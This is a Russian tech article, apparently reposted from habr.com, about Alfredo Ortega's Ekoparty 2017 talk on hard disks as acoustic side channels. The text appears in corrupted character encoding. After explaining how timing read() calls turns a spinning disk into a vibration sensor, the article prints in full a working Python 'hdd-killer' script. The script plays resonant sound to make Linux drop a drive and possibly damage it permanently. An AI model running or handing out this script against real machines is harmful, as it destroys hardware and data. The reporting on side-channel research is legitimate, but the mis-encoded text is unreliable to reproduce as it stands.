ΠŸΠΎΡ‡Π΅ΠΌΡƒ нСльзя ΠΊΡ€ΠΈΡ‡Π°Ρ‚ΡŒ Π½Π° свой HDD

ΠŸΠΎΡ‡Π΅ΠΌΡƒ нСльзя ΠΊΡ€ΠΈΡ‡Π°Ρ‚ΡŒ Π½Π° свой HDD

На ΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈ ΠΏΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ бСзопасности EkopartyΒ 2017 Π² Буэнос-АйрСсС аргСнтинский Ρ…Π°ΠΊΠ΅Ρ€ ΠΠ»ΡŒΡ„Ρ€Π΅Π΄ΠΎ ΠžΡ€Ρ‚Π΅Π³Π° (Alfredo Ortega) ΠΏΠΎΠΊΠ°Π·Π°Π» ΠΎΡ‡Π΅Π½ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΠ½ΡƒΡŽ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ β€” систСму скрытой ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΊΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΉ Π±Π΅Π· использования ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π°. Π—Π²ΡƒΠΊ записываСтся нСпосрСдствСнно Тёстким диском!

HDD ΡƒΠ»Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚, Π² основном, низкочастотныС Π·Π²ΡƒΠΊΠΈ высокой интСнсивности, шаги ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ. Π§Π΅Π»ΠΎΠ²Π΅Ρ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π΅Ρ‡ΡŒ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° нСльзя, хотя ΡƒΡ‡Ρ‘Π½Ρ‹Π΅ Π²Π΅Π΄ΡƒΡ‚ исслСдования Π² этом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ (распознаваниС Ρ€Π΅Ρ‡ΠΈ ΠΏΠΎ низкочастотным вибрациям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с гироскопа ΠΈΠ»ΠΈ HDD).

Π—Π²ΡƒΠΊ β€” это колСбания Π²ΠΎΠ·Π΄ΡƒΡ…Π° ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ срСды. Π§Π΅Π»ΠΎΠ²Π΅ΠΊ воспринимаСт ΠΈΡ… Ρ‡Π΅Ρ€Π΅Π· Π±Π°Ρ€Π°Π±Π°Π½Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ½ΠΊΡƒ, которая ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ колСбания Π²ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ ΡƒΡ…ΠΎ. ΠœΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ устроСн ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ ΠΊΠ°ΠΊ ΡƒΡ…ΠΎ β€” здСсь Ρ‚ΠΎΠΆΠ΅ колСбания Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΠ½ΠΊΠΎΠΉ ΠΌΠ΅ΠΌΠ±Ρ€Π°Π½ΠΎΠΉ, которая Π²ΠΎΠ·Π±ΡƒΠΆΠ΄Π°Π΅Ρ‚ элСктричСский ΠΈΠΌΠΏΡƒΠ»ΡŒΡ. Жёсткий диск, разумССтся, Ρ‚ΠΎΠΆΠ΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½ микроскопичСским вибрациям ΠΈΠ·-Π·Π° ΠΊΠΎΠ»Π΅Π±Π°Π½ΠΈΠΉ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ Π²ΠΎΠ·Π΄ΡƒΡ…Π°. Π­Ρ‚ΠΎ извСстно Π΄Π°ΠΆΠ΅ ΠΏΠΎ тСхничСским характСристикам HDD: ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ максимально допустимый ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΉ, Π° сам Тёсткий диск часто ΡΡ‚Π°Ρ€Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΡ‚ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈΠ· Ρ€Π΅Π·ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ изоляционного ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°. Из этого Π»Π΅Π³ΠΊΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄, Ρ‡Ρ‚ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HDD ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π²ΡƒΠΊΠΈ. ΠžΡΡ‚Π°Π»ΠΎΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ.

ΠΠ»ΡŒΡ„Ρ€Π΅Π΄ΠΎ ΠžΡ€Ρ‚Π΅Π³Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΠ» своСобразный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎ сторонним ΠΊΠ°Π½Π°Π»Π°ΠΌ (side-channel attack), Π° ΠΈΠΌΠ΅Π½Π½ΠΎ Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π­Ρ‚Π° Π°Ρ‚Π°ΠΊΠ° основана Π½Π° ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² устройствС Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠ΅ врСмя, Π² зависимости ΠΎΡ‚ ΠΏΠΎΠ΄Π°Π½Π½Ρ‹Ρ… Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Β«Π²Ρ…ΠΎΠ΄Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈΒ» ΡΠ²Π»ΡΡŽΡ‚ΡΡ колСбания ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ пластины HDD, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΡƒΡŽΡ‚ с вибрациями срСды, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ со Π·Π²ΡƒΠΊΠΎΠΌ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, измСряя врСмя вычислСний ΠΈ проводя статистичСский Π°Π½Π°Π»ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ…, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΡ‚ΡŒ колСбания Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/пластины ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ срСды. Π§Π΅ΠΌ большС Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π² считывании Π΄Π°Π½Π½Ρ‹Ρ… β€” Ρ‚Π΅ΠΌ сильнСС колСбания HDD ΠΈ, Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‚Π΅ΠΌ Π³Ρ€ΠΎΠΌΡ‡Π΅ Π·Π²ΡƒΠΊ.

Как ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΡ‚ΡŒ колСбания Тёсткого диска? ΠžΡ‡Π΅Π½ΡŒ просто: достаточно всСго лишь Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ систСмный Π²Ρ‹Π·ΠΎΠ² read () β€” ΠΈ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ врСмя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ выполняСтся. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ систСмы ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ систСмных Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² с Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π΄ΠΎ наносСкунды.

Π‘ΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ чтСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с сСктора зависит ΠΎΡ‚ полоТСния Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ пластины, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΡƒΠ΅Ρ‚ с вибрациями корпуса HDD. Π’ΠΎΡ‚ ΠΈ всё.

БтатистичСский Π°Π½Π°Π»ΠΈΠ· осущСствляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€ΠΎΡΡ‚Π΅Π½ΡŒΠΊΠΎΠΉ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ Kscope. Как говорится, всё гСниальноС просто.

ΠŸΠΎΡ‡Π΅ΠΌΡƒ нСльзя ΠΊΡ€ΠΈΡ‡Π°Ρ‚ΡŒ Π½Π° свой HDD
Π£Ρ‚ΠΈΠ»ΠΈΡ‚Π° Kscope (stat () syscall)

Kscope β€” малСнькая ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΊΡ€ΠΎΡ…ΠΎΡ‚Π½Ρ‹ΠΉ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ выполнСния систСмных Π²Ρ‹Π·ΠΎΠ²ΠΎΠ². Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ Π½Π° GitHub.

Π’ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ hdd-time Π»Π΅ΠΆΠΈΡ‚ вСрсия ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹, настроСнная Π½Π° Π°Ρ‚Π°ΠΊΡƒ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° Тёсткий диск, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ настроСнная Π½Π° Π°Π½Π°Π»ΠΈΠ· систСмного Π²Ρ‹Π·ΠΎΠ²Π° read ().

ДСмонстрация звукозаписи с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HDD, Ρ€Π°Π±ΠΎΡ‚Π° ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ Kscope


ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Ρ€Π΅Ρ‡ΡŒ нСльзя Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ способом, Π½ΠΎ Π² качСствС Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠ° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΉ HDD Π²ΠΏΠΎΠ»Π½Π΅ сгодится. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ссли Π² ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ Π·Π°ΡˆΡ‘Π» Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π² Ρ‚Π²Ρ‘Ρ€Π΄ΠΎΠΉ ΠΎΠ±ΡƒΠ²ΠΈ ΠΈΠ»ΠΈ босиком (вСроятно, Ссли Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΎΠ±ΡƒΡ‚ Π² мягкиС кроссовки ΠΈΠ»ΠΈ Π½Π° ΠΏΠΎΠ»Ρƒ постСлСн толстый ΠΊΠΎΠ²Ρ‘Ρ€, Ρ‚ΠΎ HDD Π½Π΅ смоТСт Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ β€” это стоит ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ). ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ способСн Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π±ΠΈΡ‚ΠΎΠ΅ стСкло ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΠ΅ с сильной ΠΈΠ½Ρ‚Π΅Π½ΡΠΈΠ²Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π²ΡƒΠΊΠ°. Π’ΠΎ Π΅ΡΡ‚ΡŒ Тёсткий диск ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ€ΠΎΠ»ΡŒ своСобразной систСмы обнаруТСния нСсанкционированных ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΉ.

HDD-ΠΊΠΈΠ»Π»Π΅Ρ€

ΠšΡΡ‚Π°Ρ‚ΠΈ, ΡΡ…ΠΎΠΆΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для вывСдСния ΠΈΠ· строя Тёстких дисков. Волько здСсь ΠΌΡ‹ Π½Π΅ снимаСм колСбания с HDD, Π° Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚ β€” Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ колСбания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π°ΡŽΡ‚ΡΡ Π½Π° HDD. Если Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ с ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π·Π²ΡƒΠΊ Π½Π° частотС, которая Ρ€Π΅Π·ΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ с частотой HDD, Ρ‚ΠΎ систСма вскорС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ устройство с ошибкой Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π° (ядро Linux ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ HDD Ρ‡Π΅Ρ€Π΅Π· 120 сСкунд). Π‘Π°ΠΌ Тёсткий диск ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌΡ‹Π΅ поврСТдСния.

ΠŸΠΎΡ‡Π΅ΠΌΡƒ нСльзя ΠΊΡ€ΠΈΡ‡Π°Ρ‚ΡŒ Π½Π° свой HDD
Π―Π΄Ρ€ΠΎ Linux ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΎ Тёсткий диск послС 120 сСкунд ΠΏΠΎΠ΄Π°Ρ‡ΠΈ Π·Π²ΡƒΠΊΠ° Π½Π° Ρ€Π΅Π·ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ частотС Ρ‡Π΅Ρ€Π΅Π· Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ USB-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Edifier r19u. Π”ΠΈΠ½Π°ΠΌΠΈΠΊ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π½Π° Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΡŒ мощности (ΠΌΠ΅Π½Π΅Π΅ 100Β ΠΌΠ’Ρ‚) ΠΈ располагаСтся Π² 20 см ΠΎΡ‚ HDD, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ Π½Π° стол для усилСния Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΉ. ΠšΠ°Π΄Ρ€ ΠΈΠ· Π²ΠΈΠ΄Π΅ΠΎΡ€ΠΎΠ»ΠΈΠΊΠ° с дСмонстрациСй Ρ€Π°Π±ΠΎΡ‚Ρ‹ HDD-ΠΊΠΈΠ»Π»Π΅Ρ€Π°

Π›ΡŽΠ±ΠΎΠΏΡ‹Ρ‚Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ Β«Π°Ρ‚Π°ΠΊΠΈΒ» Π½Π° HDD ΠΈΠ½ΠΎΠ³Π΄Π° происходят ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ случайно Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ. НапримСр, Π² сСнтябрС 2016 Π³ΠΎΠ΄Π° Π΄Π°Ρ‚Π°-Ρ†Π΅Π½Ρ‚Ρ€ ING Bank Π±Ρ‹Π» Π²Ρ‹Π½ΡƒΠΆΠ΄Π΅Π½ ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π° 10 часов послС ΠΏΠΎΠΆΠ°Ρ€Π½Ρ‹Ρ… ΡƒΡ‡Π΅Π½ΠΈΠΉ. ДСсятки Тёстких дисков Π²Ρ‹ΡˆΠ»ΠΈ ΠΈΠ· строя ΠΈΠ·-Π·Π° Π³Ρ€ΠΎΠΌΠΊΠΎΠ³ΠΎ Π·Π²ΡƒΠΊΠ° ΠΈΠ½Π΅Ρ€Ρ‚Π½ΠΎΠ³ΠΎ Π³Π°Π·Π°, выпускаСмого ΠΈΠ· Π±Π°Π»Π»ΠΎΠ½ΠΎΠ² ΠΏΠΎΠ΄ большим Π΄Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ. Π—Π²ΡƒΠΊ Π±Ρ‹Π» ΠΎΡ‡Π΅Π½ΡŒ Π³Ρ€ΠΎΠΌΠΊΠΈΠΌ (Π±ΠΎΠ»Π΅Π΅ 130 Π΄Π‘), Π° вСдь Π΄Π°ΠΆΠ΅ ΠΊΡ€ΠΈΡ‡Π°Ρ‚ΡŒ Π½Π° ТёсткиС диски нСльзя β€” это ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ доступа ΠΊ HDD.

ДСмонстрация чСловСчСского ΠΊΡ€ΠΈΠΊΠ° Π½Π° ТёсткиС диски Π² Π΄Π°Ρ‚Π°-Ρ†Π΅Π½Ρ‚Ρ€Π΅. Π˜Π·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ


Для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π΅Π·ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ Π·Π²ΡƒΠΊΠ° ΠΠ»ΡŒΡ„Ρ€Π΅Π΄ΠΎ ΠžΡ€Ρ‚Π΅Π³Π° написал питоновский скрипт ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ hdd-killer (дСмонстрация Π½Π° Π²ΠΈΠ΄Π΅ΠΎ).

Π‘ΠΊΡ€ΠΈΠΏΡ‚ HDD-ΠΊΠΈΠ»Π»Π΅Ρ€Π° совсСм нСбольшой Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΅Π³ΠΎ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ здСсь.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ